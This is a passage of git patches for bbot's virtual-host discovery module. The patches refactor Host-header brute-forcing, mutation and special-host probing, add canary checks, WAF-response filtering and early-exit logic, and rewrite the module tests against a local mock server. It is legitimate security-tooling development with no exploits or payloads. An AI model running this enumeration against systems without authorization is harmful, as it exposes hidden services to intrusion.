= [self.visit_host(host, port) for host in hosts] - async for task in self.helpers.as_completed(tasks): - result = await task + coroutines = [self.visit_host(host, port) for host in hosts] + async for coroutine in self.helpers.as_completed(coroutines): + result = await coroutine if not isinstance(result, tuple) or not len(result) == 3: continue dns_names, emails, (host, port) = result diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index f3c5e3d5bb..1d8dca8c7d 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -459,7 +459,6 @@ async def curl_virtualhost( ) coros.append(coro) - self.critical(f"CREATED {len(coros)} COROUTINES FOR TESTING") self.debug( f"Testing {len(coros)} virtual hosts with max {self.max_concurrent} concurrent requests using {discovery_method} against {len(host_ips)} IPs..." ) From bd51281208c91edc0feb4a8b61bdeaaefcb93456 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Sep 2025 22:29:24 -0400 Subject: [PATCH 023/129] starting to back out of debug, more tweaks --- bbot/modules/virtualhost.py | 224 ++++++++++++++++++++++-------------- 1 file changed, 140 insertions(+), 84 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 1d8dca8c7d..fef494930d 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -1,5 +1,8 @@ from rapidfuzz import fuzz from urllib.parse import urlparse +import random +import string +import xxhash from bbot.modules.base import BaseModule from bbot.errors import CurlError @@ -53,6 +56,7 @@ async def setup(self): self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000) ) self.similarity_cache = {} # Cache for similarity results + self.waf_strings = self.helpers.get_waf_strings() # Cache once return await super().setup() async def handle_event(self, event): @@ -66,7 +70,6 @@ async def handle_event(self, event): return self.scanned_hosts[normalized_url] = event - self.critical(f"ADDED {normalized_url} to scanned_hosts") if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") @@ -81,8 +84,6 @@ async def handle_event(self, event): self.critical(f"SKIPPING {normalized_url} - failed virtual host wildcard check") return None - self.hugesuccess(f"VIRTUAL HOST WILDCARD CHECK PASSED FOR {normalized_url}") - # Phase 1: Main virtual host bruteforce if self.config.get("subdomain_brute", True): self.verbose(f"=== Starting subdomain brute-force on {normalized_url} ===") @@ -97,13 +98,6 @@ async def handle_event(self, event): with_mutations=True, ) - mutation_canary_response = await self._get_canary_response( - normalized_url, basehost, host_ip, is_https, mode="mutation" - ) - if not mutation_canary_response: - self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") - return - # Phase 2: Check existing host for mutations if self.config.get("mutation_check", True): self.critical(f"=== Starting mutations check on {normalized_url} ===") @@ -210,16 +204,8 @@ async def _analyze_subject_alternate_names(self, url): ) return subject_alt_names - async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https, mode="subdomain"): - """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure.""" - - from urllib.parse import urlparse - import random - import string - - parsed = urlparse(normalized_url) - host = parsed.netloc - + def _get_canary_random_host(self, host, basehost, mode="subdomain"): + """Generate a random host for the canary""" # Seed RNG with domain to get consistent canary hosts for same domain random.seed(host) @@ -240,6 +226,17 @@ async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https else: raise ValueError(f"Invalid canary mode: {mode}") + return canary_host + + async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https, mode="subdomain"): + """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure.""" + + parsed = urlparse(normalized_url) + host = parsed.netloc + + # Seed RNG with domain to get consistent canary hosts for same domain + canary_host = self._get_canary_random_host(host, basehost, mode) + # Get canary response if is_https: port = parsed.port or 443 @@ -250,8 +247,6 @@ async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https else: canary_response = await self.helpers.web.curl(url=normalized_url, headers={"Host": canary_host}) - if canary_response["http_code"] == 500: - self.hugesuccess(f"WE GOT A 500 FROM OUR CANARY! HERE IS THE domain {canary_host}:") return canary_response async def _is_host_accessible(self, url): @@ -262,16 +257,8 @@ async def _is_host_accessible(self, url): try: response = await self.helpers.web.curl(url=url) if response and int(response.get("http_code", 0)) > 0: - # Host is accessible with valid HTTP response - skip it - self.hugewarning( - f"URL {url} is already accessible (status: {response['http_code']} and response len of {len(response['response_data'])}" - ) return True else: - # No valid HTTP response - good candidate for virtual host testing - self.critical( - f"FOUND GOOD CANDIDATE: {url} with status code {response['http_code']} and response len of {len(response['response_data'])}" - ) return False except CurlError as e: # Error making request - treat as not accessible @@ -291,9 +278,6 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, if modified_host is None: # Fallback: generate random hostname of similar length - import random - import string - modified_host = "".join(random.choice(string.ascii_lowercase) for _ in range(len(probe_host))) # Test modified host @@ -338,8 +322,6 @@ async def _run_virtualhost_phase( canary_response = await self._get_canary_response( normalized_url, basehost, host_ip, is_https, mode=canary_mode ) - self.hugesuccess(f"SUBDOMAIN CANARY RESPONSE CODE: {canary_response['http_code']}") - self.hugesuccess(f"SUBDOMAIN CANARY RESPONSE LENGTH: {len(canary_response['response_data'])}") if not canary_response: self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") @@ -377,10 +359,9 @@ async def _run_virtualhost_phase( # Final safeguard: check total result count max_results = 50 # Configurable threshold - self.critical(f"Total virtual hosts found in {discovery_method}: {len(results)}") if len(results) > max_results: - self.critical( - f"Found {len(results)} virtual hosts (limit: {max_results}), likely false positives - rejecting all results" + self.warning( + f"Found {len(results)} virtual hosts for host {event.host} (limit: {max_results}), likely false positives - rejecting all results" ) return [] @@ -404,10 +385,37 @@ async def _run_virtualhost_phase( context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {{event.data}}", ) + def _generate_virtualhost_coroutines( + self, + candidates_to_check, + host_ips, + normalized_url, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + discovery_method, + ): + """Generator that yields virtual host test coroutines on-demand""" + for host_ip in host_ips: + for probe_host in candidates_to_check: + yield self._safe_test_virtualhost( + normalized_url, + probe_host, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + host_ip, + discovery_method, + ) + async def curl_virtualhost( self, discovery_method, - host, + normalized_url, basehost, event, canary_response, @@ -437,30 +445,15 @@ async def curl_virtualhost( if probe_host == baseline_host: continue - candidates_to_check.append((word, probe_host)) + candidates_to_check.append(probe_host) self.debug(f"Loaded {len(candidates_to_check)} candidates from wordlist for {discovery_method}") - coros = [] host_ips = event.resolved_hosts - - for host_ip in host_ips: - for word, probe_host in candidates_to_check: - coro = self._safe_test_virtualhost( - host, - probe_host, - basehost, - event, - canary_response, - canary_mode, - skip_dns_host, - host_ip, - discovery_method, - ) - coros.append(coro) + total_tests = len(candidates_to_check) * len(host_ips) self.debug( - f"Testing {len(coros)} virtual hosts with max {self.max_concurrent} concurrent requests using {discovery_method} against {len(host_ips)} IPs..." + f"Testing {total_tests} virtual hosts with max {self.max_concurrent} concurrent requests using {discovery_method} against {len(host_ips)} IPs..." ) # Collect all virtual host results before emitting @@ -468,11 +461,34 @@ async def curl_virtualhost( # Process results as they complete with concurrency control try: - async for completed in self.helpers.as_completed(coros, self.max_concurrent): + # Use generator to create coroutines on-demand + coroutine_generator = self._generate_virtualhost_coroutines( + candidates_to_check, + host_ips, + normalized_url, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + discovery_method, + ) + + max_results = 50 # Get limit for early exit check + + async for completed in self.helpers.as_completed(coroutine_generator, self.max_concurrent): try: result = await completed if result: # Only append non-None results virtual_host_results.append(result) + + # Early exit if we're clearly hitting false positives + if len(virtual_host_results) >= max_results: + self.warning( + f"Early exit: found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - stopping further tests" + ) + break + except Exception as e: self.critical(f"Unexpected exception during virtual host testing: {type(e).__name__}: {e}") # Continue processing other tasks instead of stopping everything @@ -480,7 +496,7 @@ async def curl_virtualhost( self.critical(f"CurlError in as_completed, stopping all tests: {e}") return [] - # Final safeguard: check result count + # Final safeguard: check result count (now mostly redundant due to early exit) max_results = 50 # Configurable threshold if len(virtual_host_results) > max_results: self.critical( @@ -501,7 +517,7 @@ async def _safe_test_virtualhost(self, *args, **kwargs): async def _test_virtualhost( self, - host, + normalized_url, probe_host, basehost, event, @@ -526,7 +542,7 @@ async def _test_virtualhost( ) else: probe_response = await self.helpers.web.curl( - url=host, + url=normalized_url, headers={"Host": probe_host}, resolve={"host": probe_host, "port": event.port or 80, "ip": host_ip}, ) @@ -545,7 +561,9 @@ async def _test_virtualhost( return None # Re-verify canary consistency before emission - if not await self._verify_canary(event, canary_response, canary_mode, basehost, host_ip): + if not await self._verify_canary( + event, canary_response, canary_mode, normalized_url, probe_host, is_https, basehost, host_ip + ): self.critical(f"Canary changed since initial test, rejecting {probe_host}") raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") else: @@ -561,15 +579,19 @@ async def _test_virtualhost( virtualhost_dict = { "host": str(event.host), - "url": host, + "url": normalized_url, "virtual_host": probe_host, - "description": self._build_description(discovery_method, probe_response, is_externally_accessible), + "description": self._build_description( + discovery_method, probe_response, is_externally_accessible, host_ip + ), "ip": host_ip, } # Skip if we require inaccessible hosts and this one is accessible if self.config.get("require_inaccessible", True) and is_externally_accessible: - self.hugewarning(f"Skipping virtual host {probe_host} - externally accessible") + self.verbose( + f"Skipping emit for virtual host {probe_host} - is externally accessible and require_inaccessible is True" + ) return None # Return data for emission at _run_virtualhost_phase level @@ -599,11 +621,19 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") return None + if probe_status == 502 or probe_status == 503: + self.debug(f"SKIPPING {probe_host} - got 502 or 503 Bad Gateway") + return None + # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403) if probe_status == 403 and canary_status != 403: self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}") return None + if probe_status == 508: + self.debug(f"SKIPPING {probe_host} - got 508 Loop Detected") + return None + # Check for redirects back to original domain - indicates virtual host just redirects to canonical if probe_status in [301, 302]: redirect_url = probe_response.get("redirect_url", "") @@ -611,8 +641,7 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): self.debug(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") return None - waf_strings = self.helpers.get_waf_strings() - if any(waf_string in probe_response["response_data"] for waf_string in waf_strings): + if any(waf_string in probe_response["response_data"] for waf_string in self.waf_strings): self.debug(f"SKIPPING {probe_host} - got WAF response") return None @@ -631,11 +660,22 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): def get_content_similarity(self, canary_response, probe_response): # Create fast hashes for cache key using xxHash - import xxhash - canary_data = canary_response["response_data"] probe_data = probe_response["response_data"] + # Fastest check: exact equality (very common for identical error pages) + if canary_data == probe_data: + return 1.0 # Exactly the same + + # Fast pre-filter: if response lengths are drastically different, skip expensive calculation + canary_len = len(canary_data) + probe_len = len(probe_data) + + if canary_len > 0 and probe_len > 0: + length_ratio = min(canary_len, probe_len) / max(canary_len, probe_len) + if length_ratio < 0.3: # Very conservative - only skip if >70% length difference + return 0.0 # Definitely not similar + canary_hash = xxhash.xxh64(canary_data.encode() if isinstance(canary_data, str) else canary_data).hexdigest() probe_hash = xxhash.xxh64(probe_data.encode() if isinstance(probe_data, str) else probe_data).hexdigest() @@ -654,10 +694,10 @@ def get_content_similarity(self, canary_response, probe_response): return similarity - async def _verify_canary(self, event, original_canary_response, canary_mode, basehost, host_ip): + async def _verify_canary( + self, event, original_canary_response, canary_mode, normalized_url, probe_host, is_https, basehost, host_ip + ): """Re-test the canary to make sure it's still consistent before emission""" - is_https = event.parsed_url.scheme == "https" - normalized_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" # Re-run the same canary test as we did initially try: @@ -668,21 +708,23 @@ async def _verify_canary(self, event, original_canary_response, canary_mode, bas self.warning(f"Canary verification failed due to curl error: {e}") return False - self.hugesuccess(f"GOT CANARY RESPONSE FOR {normalized_url}") - self.hugesuccess(f"CANARY RESPONSE CODE: {current_canary_response['http_code']}") - self.hugesuccess(f"CANARY RESPONSE LENGTH: {len(current_canary_response['response_data'])}") - if not current_canary_response: return False # Check if HTTP codes are different first (hard failure) if original_canary_response["http_code"] != current_canary_response["http_code"]: - self.hugeinfo( - f"CANARY CHANGED: HTTP CODE: {original_canary_response['http_code']} -> {current_canary_response['http_code']}" + self.hugewarning(f"CANARY HTTP CODE CHANGED for {normalized_url}") + + # Original canary details + self.hugewarning( + f"ORIGINAL CANARY - URL: {original_canary_response.get('url', 'N/A')} | Method: {original_canary_response.get('method', 'N/A')} | Status: {original_canary_response.get('http_code', 'N/A')} | Size: {len(original_canary_response.get('response_data', ''))} bytes" ) - self.hugeinfo( - f"CANARY CHANGED: RESPONSE DATA: {len(original_canary_response['response_data'])} -> {len(current_canary_response['response_data'])}" + + # Current canary details + self.hugewarning( + f"CURRENT CANARY - URL: {current_canary_response.get('url', 'N/A')} | Method: {current_canary_response.get('method', 'N/A')} | Status: {current_canary_response.get('http_code', 'N/A')} | Size: {len(current_canary_response.get('response_data', ''))} bytes" ) + return False # Fast path: if response data is exactly the same, we're good @@ -692,11 +734,21 @@ async def _verify_canary(self, event, original_canary_response, canary_mode, bas # Fallback: use similarity comparison for response data (allows slight differences) similarity = self.get_content_similarity(original_canary_response, current_canary_response) if similarity < self.SIMILARITY_THRESHOLD: - self.hugeinfo( - f"CANARY CHANGED: Response similarity {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD}" + self.hugewarning( + f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD}" + ) + + # Original canary details + self.hugewarning( + f"ORIGINAL CANARY - URL: {original_canary_response.get('url', 'N/A')} | Method: {original_canary_response.get('method', 'N/A')} | Status: {original_canary_response.get('http_code', 'N/A')} | Size: {len(original_canary_response.get('response_data', ''))} bytes" + ) + + # Current canary details + self.hugewarning( + f"CURRENT CANARY - URL: {current_canary_response.get('url', 'N/A')} | Method: {current_canary_response.get('method', 'N/A')} | Status: {current_canary_response.get('http_code', 'N/A')} | Size: {len(current_canary_response.get('response_data', ''))} bytes" ) - return False + return False return True def _extract_title(self, response_data): @@ -706,7 +758,7 @@ def _extract_title(self, response_data): return soup.title.string.strip() return None - def _build_description(self, discovery_string, probe_response, is_externally_accessible=None): + def _build_description(self, discovery_string, probe_response, is_externally_accessible=None, host_ip=None): """Build detailed description with discovery technique and content info""" http_code = probe_response.get("http_code", "N/A") response_size = len(probe_response.get("response_data", "")) @@ -719,6 +771,10 @@ def _build_description(self, discovery_string, probe_response, is_externally_acc description += f" [Title: {title}]" description += f" [Size: {response_size} bytes]" + # Add IP address if available + if host_ip: + description += f" [IP: {host_ip}]" + # Add accessibility information if available if is_externally_accessible is not None: accessibility_status = "externally accessible" if is_externally_accessible else "not externally accessible" From d160941ba533f0211d19f235638badadb1946fef Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 11:43:15 -0400 Subject: [PATCH 024/129] special virtual host only ignore strings --- bbot/modules/virtualhost.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index fef494930d..46c49eb69d 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -48,6 +48,10 @@ class virtualhost(BaseModule): in_scope_only = True + virtualhost_ignore_strings = [ + "We weren't able to find your Azure Front Door Service", + ] + async def setup(self): self.max_concurrent = self.config.get("max_concurrent_requests", 80) self.scanned_hosts = {} @@ -56,8 +60,10 @@ async def setup(self): self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000) ) self.similarity_cache = {} # Cache for similarity results - self.waf_strings = self.helpers.get_waf_strings() # Cache once - return await super().setup() + + self.waf_strings = self.helpers.get_waf_strings() + self.virtualhost_ignore_strings + + return True async def handle_event(self, event): if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): From d19f3247c74726287bb0ab7237abd2c2a6e05789 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 12:15:12 -0400 Subject: [PATCH 025/129] add module test --- .../module_tests/test_module_virtualhost.py | 351 +++++++++++++++--- 1 file changed, 307 insertions(+), 44 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index 03a6fccdb7..b38928db6d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -1,65 +1,328 @@ from .base import ModuleTestBase, tempwordlist +import re +from werkzeug.wrappers import Response -class TestVirtualhost(ModuleTestBase): - targets = ["http://localhost:8888", "secret.localhost"] +class VirtualhostTestBase(ModuleTestBase): + """Base class for virtualhost tests with common setup""" + + async def setup_before_prep(self, module_test): + # Fix randomness for predictable canary generation + module_test.monkeypatch.setattr("random.seed", lambda x: None) + import string + + def predictable_choice(seq): + return seq[0] if seq == string.ascii_lowercase else seq[0] + + module_test.monkeypatch.setattr("random.choice", predictable_choice) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + +class TestVirtualhostSpecialHosts(VirtualhostTestBase): + """Test special hosts detection""" + + targets = ["http://localhost:8888"] modules_overrides = ["httpx", "virtualhost"] - test_wordlist = ["11111111", "admin", "cloud", "junkword1", "zzzjunkword2"] config_overrides = { "modules": { "virtualhost": { - "wordlist": tempwordlist(test_wordlist), + "subdomain_brute": False, # Focus on special hosts only + "mutation_check": False, # Focus on special hosts only + "special_hosts": True, # Enable special hosts + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, } } } - async def setup_after_prep(self, module_test): - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "admin.localhost:8888"}} - respond_args = {"response_data": "Alive virtualhost admin"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to localhost + if not host_header or host_header == "localhost:8888": + return Response("baseline response from localhost", status=200) + + # Wildcard canary check + if re.match(r"[a-z]ocalhost:8888", host_header): + return Response("different wildcard response", status=404) + + # Random canary requests (12 lowercase letters .com) + if re.match(r"[a-z]{12}\.com", host_header): + return Response("canary response for random", status=404) + + # Special hosts responses - return different content than canary + if host_header == "host.docker.internal": + return Response("Docker internal host active", status=200) + if host_header == "127.0.0.1": + return Response("Loopback host active", status=200) + if host_header == "localhost": + return Response("Localhost virtual host active", status=200) + + # Default for any other requests + return Response("default response", status=404) + + def check(self, module_test, events): + special_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["host.docker.internal", "127.0.0.1", "localhost"]: + special_hosts_found.add(vhost) + + # Test description elements to ensure they are as expected + description = e.data["description"] + assert "Discovery Technique: [Special virtual host list" in description, ( + f"Description missing discovery technique: {description}" + ) + assert "Status Code:" in description, f"Description missing status code: {description}" + assert "Size:" in description and "bytes" in description, ( + f"Description missing size: {description}" + ) + assert "IP: 127.0.0.1" in description, f"Description missing IP: {description}" + assert "Access:" in description, f"Description missing access status: {description}" + + assert len(special_hosts_found) >= 1, f"Failed to detect special virtual hosts. Found: {special_hosts_found}" + + +class TestVirtualhostBruteForce(VirtualhostTestBase): + """Test subdomain brute-force detection using HTTP Host headers without DNS resolution""" + + targets = ["http://127.0.0.1:8888"] # Use IP to avoid DNS resolution + modules_overrides = ["httpx", "virtualhost"] + test_wordlist = ["admin", "api", "test"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "force_basehost": "localhost", # Force basehost to avoid DNS issues + "subdomain_brute": True, # Enable brute force + "mutation_check": False, # Focus on brute force only + "special_hosts": False, # Focus on brute force only + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to the IP + if not host_header or host_header == "127.0.0.1:8888": + return Response("baseline response from 127.0.0.1", status=200) + + # Wildcard canary check - using forced basehost "localhost" + if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): # Modified basehost + return Response("wildcard canary different response", status=404) + + # Brute-force canary requests - random string + .localhost + if re.match(r"[a-z]{12}\.localhost:8888", host_header): + return Response("subdomain canary response", status=404) + + # Brute-force matches - return different content than canary + if host_header in ["admin.localhost", "admin.localhost:8888"]: + return Response("Admin panel found here!", status=200) + if host_header in ["api.localhost", "api.localhost:8888"]: + return Response("API endpoint found here!", status=200) + if host_header in ["test.localhost", "test.localhost:8888"]: + return Response("Test environment found here!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + brute_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.localhost", "api.localhost", "test.localhost"]: + brute_hosts_found.add(vhost) + + assert len(brute_hosts_found) >= 1, f"Failed to detect brute-force virtual hosts. Found: {brute_hosts_found}" + + +class TestVirtualhostMutations(VirtualhostTestBase): + """Test host mutation detection using HTTP Host headers without DNS resolution""" + + targets = ["http://127.0.0.1:8888"] # Use IP to avoid DNS resolution + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "force_basehost": "localhost", # Force basehost to avoid DNS issues + "subdomain_brute": False, # Focus on mutations only + "mutation_check": True, # Enable mutations + "special_hosts": False, # Focus on mutations only + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "cloud.localhost:8888"}} - respond_args = {"response_data": "Alive virtualhost cloud"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Baseline request to the IP + if not host_header or host_header == "127.0.0.1:8888": + return Response("baseline response from 127.0.0.1", status=200) - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "q-cloud.localhost:8888"}} - respond_args = {"response_data": "Alive virtualhost q-cloud"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Wildcard canary check + if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): # Modified IP + return Response("wildcard canary response", status=404) - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "secret.localhost:8888"}} - respond_args = {"response_data": "Alive virtualhost secret"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Mutation canary requests (4 chars + dash + original host) + if re.match(r"[a-z]{4}-127\.0\.0\.1:8888", host_header): + return Response("mutation canary response", status=404) - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "host.docker.internal"}} - respond_args = {"response_data": "Alive virtualhost host.docker.internal"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Word cloud mutation matches - return different content than canary + if host_header in ["127dev.localhost:8888", "127-dev.localhost:8888"]: + return Response("Development 127 found!", status=200) + if host_header in ["dev127.localhost:8888", "dev-127.localhost:8888"]: + return Response("Dev 127 found!", status=200) + if host_header in ["127test.localhost:8888", "127-test.localhost:8888"]: + return Response("Test 127 found!", status=200) - expect_args = {"method": "GET", "uri": "/"} - respond_args = {"response_data": "alive"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + # Default response + return Response("default response", status=404) + + async def setup_before_prep(self, module_test): + # Call parent setup first + await super().setup_before_prep(module_test) + + # Mock wordcloud.mutations to return predictable results for IP-based target + def mock_mutations(self, word, **kwargs): + # Return realistic mutations that would be found for "127" + return [ + [word, "dev"], # 127dev, 127-dev + ["dev", word], # dev127, dev-127 + [word, "test"], # 127test, 127-test + ] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.mutations", mock_mutations) def check(self, module_test, events): - basic_detection = False - mutaton_of_detected = False - basehost_mutation = False - special_virtualhost_list = False - wordcloud_detection = False + mutation_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + # Look for mutation patterns with dev/test + if any(word in vhost for word in ["dev", "test"]) and "127" in vhost: + mutation_hosts_found.add(vhost) + + assert len(mutation_hosts_found) >= 1, ( + f"Failed to detect mutation virtual hosts. Found: {mutation_hosts_found}" + ) + + +class TestVirtualhostWordcloud(VirtualhostTestBase): + """Test finish() wordcloud-based detection using HTTP Host headers without DNS resolution""" + + targets = ["http://127.0.0.1:8888"] # Use IP to avoid DNS resolution + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "force_basehost": "localhost", # Force basehost to avoid DNS issues + "subdomain_brute": False, # Focus on wordcloud only + "mutation_check": False, # Focus on wordcloud only + "special_hosts": False, # Focus on wordcloud only + "certificate_sans": False, + "wordcloud_check": True, # Enable wordcloud + "require_inaccessible": False, + } + } + } + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + # Baseline request to the IP + if not host_header or host_header == "127.0.0.1:8888": + return Response("baseline response from 127.0.0.1", status=200) + + # Wildcard canary check + if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): # Modified IP + return Response("wildcard canary response", status=404) + + # Random canary requests (12 chars + .com) + if re.match(r"[a-z]{12}\.com", host_header): + return Response("random canary response", status=404) + + # Wordcloud-based matches - these are checked in finish() + if host_header == "staging.localhost:8888": + return Response("Staging environment found!", status=200) + if host_header == "prod.localhost:8888": + return Response("Production environment found!", status=200) + if host_header == "dev.localhost:8888": + return Response("Development environment found!", status=200) + + # Default response + return Response("default response", status=404) + + async def setup_before_prep(self, module_test): + # Call parent setup first + await super().setup_before_prep(module_test) + + # Mock wordcloud to have some common words + def mock_wordcloud_keys(self): + return ["staging", "prod", "dev", "admin", "api"] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys) + + def check(self, module_test, events): + wordcloud_hosts_found = set() for e in events: if e.type == "VIRTUAL_HOST": - if e.data["virtual_host"] == "admin": - basic_detection = True - if e.data["virtual_host"] == "cloud": - mutaton_of_detected = True - if e.data["virtual_host"] == "q-cloud": - basehost_mutation = True - if e.data["virtual_host"] == "host.docker.internal": - special_virtualhost_list = True - if e.data["virtual_host"] == "secret": - wordcloud_detection = True - - assert basic_detection - assert mutaton_of_detected - assert basehost_mutation - assert special_virtualhost_list - assert wordcloud_detection + vhost = e.data["virtual_host"] + if vhost in ["staging.localhost", "prod.localhost", "dev.localhost"]: + wordcloud_hosts_found.add(vhost) + + assert len(wordcloud_hosts_found) >= 1, ( + f"Failed to detect wordcloud virtual hosts. Found: {wordcloud_hosts_found}" + ) + + +class TestVirtualhostHTTPSLogic(ModuleTestBase): + """Unit tests for HTTPS/SNI-specific functions""" + + targets = ["http://localhost:8888"] # Minimal target for unit testing + modules_overrides = ["httpx", "virtualhost"] + + async def setup_before_prep(self, module_test): + pass # No special setup needed + + async def setup_after_prep(self, module_test): + pass # No HTTP mocking needed for unit tests + + def check(self, module_test, events): + # Get the virtualhost module instance for direct testing + virtualhost_module = None + for module in module_test.scan.modules.values(): + if hasattr(module, "special_virtualhost_list"): + virtualhost_module = module + break + + assert virtualhost_module is not None, "Could not find virtualhost module instance" + + # Test canary host generation for different modes + canary_subdomain = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "subdomain") + canary_mutation = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "mutation") + canary_random = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "random") + + # Verify canary patterns + assert canary_subdomain.endswith(".example.com"), ( + f"Subdomain canary doesn't end with basehost: {canary_subdomain}" + ) + assert "-test.example.com" in canary_mutation, ( + f"Mutation canary doesn't contain expected pattern: {canary_mutation}" + ) + assert canary_random.endswith(".com"), f"Random canary doesn't end with .com: {canary_random}" + + # Test that all canaries are different + assert canary_subdomain != canary_mutation != canary_random, "Canaries should be different" From ba9fcae65bfb95761832d642a3440e9b0a53bd9d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 12:48:20 -0400 Subject: [PATCH 026/129] typo --- bbot/modules/virtualhost.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 46c49eb69d..40561c45d7 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -24,7 +24,7 @@ class virtualhost(BaseModule): options = { "brute_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", "force_basehost": "", - "brutelines": 2000, + "brute_lines": 2000, "subdomain_brute": False, "mutation_check": True, "special_hosts": True, From 951ca41ea24b1e325e6f62b3cadb8af338664f40 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 13:08:55 -0400 Subject: [PATCH 027/129] fix virtual_host event test fixtures --- bbot/test/bbot_fixtures.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 7423bbdc51..76b432cce7 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -181,7 +181,7 @@ class bbot_events: ) finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) virtualhost = scan.make_event( - {"host": "evilcorp.com", "virtual_host": "www.evilcorp.com"}, "VIRTUAL_HOST", parent=scan.root_event + {"host": "evilcorp.com", "virtual_host": "www.evilcorp.com", "description": "Test virtual host"}, "VIRTUAL_HOST", parent=scan.root_event ) http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", 